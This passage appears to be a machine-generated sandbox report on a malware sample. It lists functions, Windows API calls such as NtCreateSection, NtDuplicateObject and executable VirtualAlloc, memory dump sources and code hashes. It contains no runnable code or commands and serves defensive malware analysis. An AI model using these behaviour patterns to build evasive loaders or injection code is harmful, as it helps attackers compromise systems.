LoadLibraryA.KERNELBASE(004361E8,00426EB5), ref: 00426A6F

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9e85f7e3211469c7aff70de8e8f6211f89e9375843a5db308750fb0cf86726ac
Instruction ID: 335214d8cf92d86652192826c7dd3f95ee96a184b7b7a1d6687d55eba145f56e
Opcode Fuzzy Hash: 9e85f7e3211469c7aff70de8e8f6211f89e9375843a5db308750fb0cf86726ac
Instruction Fuzzy Hash: 92F0CE1054C2D3E8EF52C368AD19B153E95132264CF5AA1BD81901A2A3CAEBC229C77E

Uniqueness

Uniqueness Score: -1.00%

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction ID: 4db8ba0b08380255fc5aa34ea3e13561f838480f888933e927f1079a64c57490
Opcode Fuzzy Hash: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction Fuzzy Hash: 9A11CEF120C208FBEB006A959D62E7A3268AB40714F304137BA43790F1D57E8923F76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction ID: 0371ecd990254dd767a604aa567081474727263e4e3774a05daf7e54a603023c
Opcode Fuzzy Hash: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction Fuzzy Hash: A901A1B120C204EBDB009A95DD62E7A3364AB40314F30453BBA437A1F1C67D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction ID: 3b2e7dc224df146109f963d95c0ead7a9e1b698bafe8296883a7ac19869aede1
Opcode Fuzzy Hash: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction Fuzzy Hash: BA0171B5208204EADB006AD5DD71E7A3269AB44314F304537BA43791F1D57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction ID: 4b03b50232763afd30ab0c608f125a1a80ed78bb00471cf4ed55e3bed959d7b6
Opcode Fuzzy Hash: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction Fuzzy Hash: F80184B5208204EBDB006AD5DD71EBA3269AB44354F304537BA43790F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401964 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction ID: f592bab324d3cd5d6286c78059ef0a1e8702b22de7bd53a4ec4d5e19e7ef6e8c
Opcode Fuzzy Hash: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction Fuzzy Hash: 0D0184B5208204EBDB006AC5DD62EBA3265AB44314F204537FA43791F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 0080FE5C Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0080FEAD

Memory Dump Source

Source File: 00000000.00000002.1709555486.000000000080D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80d000_987123.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 9947d0dcb840cadd7ae5d599269f5f8666bbda25039d98c657654689a527b4ca
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E3113F79A00208EFDB01DF98C985E99BBF5EF08350F0580A4F9489B362D371EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction ID: 68c2b1bb8267a16b47d2b790190fa602822f098e0b694be4ddc2e306b3be1968
Opcode Fuzzy Hash: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction Fuzzy Hash: 2AF086B5208204FADB006BD59D61EBA3768AB44354F204137BA13790F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040197A Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction ID: 49220a4dcaca44086484813bdb512237367292e15b320859d1a96440f4f24ef4
Opcode Fuzzy Hash: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction Fuzzy Hash: 7801A7B1208244FBDB016BD19D62EB93768AB05354F204537FA53790F2C67D8912E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00426276 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,00426E43), ref: 0042627E

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: c63c633476a6b30e3cbc72ccf2760e4f1e962cc8df0d4cd49a32820b50132be8
Instruction ID: fc1c605fa557deb304322e7621df349ca9de26fb8ada197018152d43c4ea838b
Opcode Fuzzy Hash: c63c633476a6b30e3cbc72ccf2760e4f1e962cc8df0d4cd49a32820b50132be8
Instruction Fuzzy Hash: C9B09270906202BACB010B50BC04B043A60A308202F029038E10044169CE6100009E18

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004108BC Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 004108F3
___getlocaleinfo.LIBCMT ref: 00410908
___getlocaleinfo.LIBCMT ref: 0041091D
___getlocaleinfo.LIBCMT ref: 00410932
___getlocaleinfo.LIBCMT ref: 0041094A
___getlocaleinfo.LIBCMT ref: 0041095F
___getlocaleinfo.LIBCMT ref: 00410971
___getlocaleinfo.LIBCMT ref: 00410986
___getlocaleinfo.LIBCMT ref: 0041099E
___getlocaleinfo.LIBCMT ref: 004109B3

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 2ae363ac02f4675a99ef2d0811e9ab02511fa2d8fd44f1555ce616a9256f3ba2
Instruction ID: 1d8a4a4208fe846f8572adedd4c486c13295830ddccbb16d2b6caae59cd68764
Opcode Fuzzy Hash: 2ae363ac02f4675a99ef2d0811e9ab02511fa2d8fd44f1555ce616a9256f3ba2
Instruction Fuzzy Hash: 81E1BFB2D0021DBEEF11DAE1CC41DFF77BDEB48748F04452AB255F2081EA75AA099B64

Uniqueness

Uniqueness Score: -1.00%

Function 00426B79 Relevance: 10.6, APIs: 7, Instructions: 62pipewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00426AA6: CreateJobObjectW.KERNEL32(00000000,0042A808), ref: 00426ABE
Part of subcall function 00426AA6: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00426ADE
Part of subcall function 00426AA6: QueryPerformanceFrequency.KERNEL32(?), ref: 00426AE8

AbortSystemShutdownA.ADVAPI32(00000000), ref: 00426BB2
RtlLeaveCriticalSection.NTDLL(?), ref: 00426BBF
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00426BC6
EqualSid.ADVAPI32(00000000,00000000), ref: 00426BCE
ReadEventLogW.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?), ref: 00426BED
CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00426BFB
SetMessageWaitingIndicator.KERNEL32(00000000,00000000), ref: 00426C03

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: CreateFree$AbortCriticalEnvironmentEqualEventFrequencyHeapIndicatorLeaveMessageNamedObjectPerformancePipeQueryReadSectionShutdownStringsSystemWaiting
String ID:
API String ID: 1499581954-0
Opcode ID: 554733c9555090acae26fb75125752e492cde8f7e525f2d39a28a07975cfd069
Instruction ID: 7bb71a299ec9fd597a22554f06b932c273aa18c07b422c39bf0ba1d0a5452d15
Opcode Fuzzy Hash: 554733c9555090acae26fb75125752e492cde8f7e525f2d39a28a07975cfd069
Instruction Fuzzy Hash: DC110072602424BBCB21AB65ED48DDF7B7CEF4A355B41406AF20992111CE345A4ACFAD

Uniqueness

Uniqueness Score: -1.00%

Function 0072092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 007209DC, 007209DF, 007209E4
., xrefs: 0072095F
l, xrefs: 00720966

Memory Dump Source

Source File: 00000000.00000002.1708692549.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_987123.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 9248be7a0968b3dbe9a1f9f8590bfd1b4edbc9b954090c5527be1aa7a1347cb6
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 90317AB6901619CFDB10CF99D884AAEBBF9FF08324F24404AD441A7312D775EA85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00414738 Relevance: 1.8, Strings: 1, Instructions: 528COMMONLIBRARYCODE

Download Yara Rule

Strings

q@, xrefs: 00415D24, 00415CF6, 00415CAE, 00415C25, 00414769

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID:
String ID: q@
API String ID: 0-1698252612
Opcode ID: 090c78479163ea0610928411f2340dce47eda80b78cc92b80adbacb5faee63ba
Instruction ID: a0652d3ce88ab9c9a6a66e03d2dd10ec1c4a6fee5427327c51fad44fec9317c2
Opcode Fuzzy Hash: 090c78479163ea0610928411f2340dce47eda80b78cc92b80adbacb5faee63ba
Instruction Fuzzy Hash: 2202B373D4A7B34B8B714EF940E01A77AA05E8179031F87EADCC42F386D11ADD4996E4

Uniqueness

Uniqueness Score: -1.00%

Function 00412F05 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(Function_00007B63,00000001), ref: 00412F1D

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: be7e014d2535137ffcc6b80599efa664ca3190f498a881cc61746656fd1f4e1c
Instruction ID: eee729147250e6a3d627816743500396ac2ae96a015d1fad2bd5f10a87301037
Opcode Fuzzy Hash: be7e014d2535137ffcc6b80599efa664ca3190f498a881cc61746656fd1f4e1c
Instruction Fuzzy Hash: 27D0A7B0A143090AE7208F70C64937177D0E710F04F60865DD842C04C0C6F891858108

Uniqueness

Uniqueness Score: -1.00%

Function 0041068E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?), ref: 0041069F

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ef3333f3be8afe0cf7469cadc51202ea561cfe2d8d7a148997f15d3afb4d1b5b
Instruction ID: 7dd0f3c9fdbd3015062d09b9213eec65eb77beb7cfa0a3e6df41f72243fb8867
Opcode Fuzzy Hash: ef3333f3be8afe0cf7469cadc51202ea561cfe2d8d7a148997f15d3afb4d1b5b
Instruction Fuzzy Hash: ACC0013200024DBB8F125F82EC088AA3F2AEB88261B448024FA28050208B329972EB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041580D Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 9a0f620e3ebe7d8702649516ea3dc75a48463be511439a55ac234a5774eb2e3a
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 66D18EB3D1F9B38A8735852D41682BBEA626FC175032FC3E2DCD42F389E12A5C9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 004153ED Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: e9c2296dde24ad7bd4c46091af30d42f78d942f49e75c20e064702e9834d5e26
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: A2D19377D0B9B3868735852D41582BBEA626FD175132FC3E2CCD42F389E12A5C8195D4

Uniqueness

Uniqueness Score: -1.00%

Function 00414FE1 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 2faefa9e45faba76db4febe78d25d89b1b31c2fb2f87a1cf0fc9c344c162e149
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 9BC190B3D0B9B34A8736852D41582ABEE626FD175032FC3E2CCD43F389E62A5D8195D4

Uniqueness

Uniqueness Score: -1.00%

Function 00414C0D Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 5948d0dd12f47a0141abae5d44e39d6a870b737dda70436091219987f2dcb729
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 2FC191B3D0B9B30A8735852D41582BBEE626FD175132FC3E2DCD42F389E22A5D8196D4

Uniqueness

Uniqueness Score: -1.00%

Function 0080FA7A Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1709555486.000000000080D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80d000_987123.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 2b98fbdda82869138172cf521047e42eb8236dbaf840c6b1ad13fa10aa9322d0
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: B9117C72340111AFD7A4DF59DC81EA673EAFB8D364B298065EE08CB752D675EC02CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00720D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708692549.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_987123.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 5b73c2960222beac1885d921750ed65aca91a7b389827e70e2e72963492b3e6c
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 6701F776B016108FDF21DF60E804BAA33F5FB85305F0544A4D50697243E378A8418BE0

Uniqueness

Uniqueness Score: -1.00%

Function 004023E5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f638128aba8f2e57abeaf16cd5152cf31c34a5a8aefa37a689e9950b3c5785
Instruction ID: d35cd02017a8908298582cacd0956aff43537afd2df8e264233619bb44fb754d
Opcode Fuzzy Hash: c0f638128aba8f2e57abeaf16cd5152cf31c34a5a8aefa37a689e9950b3c5785
Instruction Fuzzy Hash: 82C08C72D960008AE65BC6908A87644BB33F003830B341F2DC5018F126D272C2178220

Uniqueness

Uniqueness Score: -1.00%

Function 004026A0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43de6de374997940977aed32f8962cbc5b01e7d76103009d4fd772cc687ca080
Instruction ID: b8708e0fd601c17419c4bee628408aeaf70cc106fe2e9d70b960fe5b7e9fb35e
Opcode Fuzzy Hash: 43de6de374997940977aed32f8962cbc5b01e7d76103009d4fd772cc687ca080
Instruction Fuzzy Hash: 0DC02B7308020940C754CE701A0010CF2D09555208F31FD234005FF182D260F1C755C2

Uniqueness

Uniqueness Score: -1.00%

Function 00426C1F Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 193timememorynetworkCOMMON

Download Yara Rule

APIs

SetConsoleCP.KERNEL32(00000000), ref: 00426C5A
GetLastError.KERNEL32 ref: 00426C60
GetCompressedFileSizeA.KERNEL32(00000000,?), ref: 00426C7E
TlsSetValue.KERNEL32(00000000,00000000), ref: 00426C88
CopyFileExW.KERNEL32(0042A884,0042A840,00000000,00000000,00000000,00000000), ref: 00426CD8
AddAtomA.KERNEL32(00000000), ref: 00426CE0
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00426CE8
GetModuleHandleW.KERNEL32(00000000), ref: 00426CF0
EnumDateFormatsExA.KERNEL32(00000000,00000000,00000000), ref: 00426CFC
RtlTryEnterCriticalSection.NTDLL(?), ref: 00426D12
FreeLibrary.KERNEL32(00000000), ref: 00426D55
LocalFree.KERNEL32(00000000), ref: 00426D5D
SetTimeZoneInformation.KERNEL32(00000000), ref: 00426D6F
DnsHostnameToComputerNameW.KERNEL32(0042A8B8,?,?), ref: 00426D88
IsProcessInJob.KERNEL32(00000000,00000000,00000000), ref: 00426D94
SetCurrentDirectoryA.KERNEL32(00000000), ref: 00426D9C
CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 00426DA8
CompareStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00426DBA
GetLongPathNameA.KERNEL32(0042A96C,?,00000000), ref: 00426DCE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00426DDA
VirtualLock.KERNEL32(00000000,00000000), ref: 00426EA8

Strings

tl_, xrefs: 00426C9F

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: Free$FileName$AtomCompareCompressedComputerConsoleCopyCreateCriticalCurrentDateDirectoryEnterEnumEnvironmentErrorFormatsHandleHeapHostnameInformationLastLibraryLocalLockLongModulePathProcessSectionSizeStringStringsTimeTimerValueVirtualWaitableZone
String ID: tl_
API String ID: 3672566368-2653253968
Opcode ID: 023b01b2221e3b475b69840e1338eb58c9f171fb43f840df13a42cd57c5a8a76
Instruction ID: 593f59daaad18869312403a55f7fc19da0f2a56b7eb65824d8e59fabf7132564
Opcode Fuzzy Hash: 023b01b2221e3b475b69840e1338eb58c9f171fb43f840df13a42cd57c5a8a76
Instruction Fuzzy Hash: C9716F31B45314EFEB20AB55FC46B9C77B4AB04716F92407AF209AA1D0CBB81985CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 00415DB8 Relevance: 10.7, APIs: 7, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0042A804,00000001,?,004360B4,?,00000000,?,?,?,00415FA2,00000001,?,0040DB7F,?,?), ref: 00415DE7
GetLastError.KERNEL32(?,00415FA2,00000001,?,0040DB7F,?,?,?,?,0040DB7F,?,00000001,0040DB7F,00000000,?,00410202), ref: 00415DF9
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,00410202,0040DB7F,00000004), ref: 00415ED6
__freea.LIBCMT ref: 00415EE0
___ansicp.LIBCMT ref: 00415F0A
___convertcp.LIBCMT ref: 00415F2B

Part of subcall function 00417DBB: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000), ref: 00417EE7

GetStringTypeA.KERNEL32(?,?,?,?,?,004360B4,?,00000000,?,?,?,00415FA2,00000001,?,0040DB7F,?), ref: 00415F4B

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: StringType$ByteCharErrorLastMultiWide___ansicp___convertcp__freea
String ID:
API String ID: 2117302395-0
Opcode ID: 68925163f8d2cb2ffe34cbaa868f7041e780839bbbf2ba4cae6835cd480bb5fe
Instruction ID: ca033a73e6e72983c9a9d679e9bdb60d592808fde03c7af922bf76edf28fa3e8
Opcode Fuzzy Hash: 68925163f8d2cb2ffe34cbaa868f7041e780839bbbf2ba4cae6835cd480bb5fe
Instruction Fuzzy Hash: CD51947190060AEFDF209F64DC819EF3BA9EB44354B14442BF914D7251D739CEA28F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F061 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

__copytlocinfo_nolock.LIBCMT ref: 0040F0DA
__setlocale_nolock.LIBCMT ref: 0040F0EF
___removelocaleref.LIBCMT ref: 0040F13C
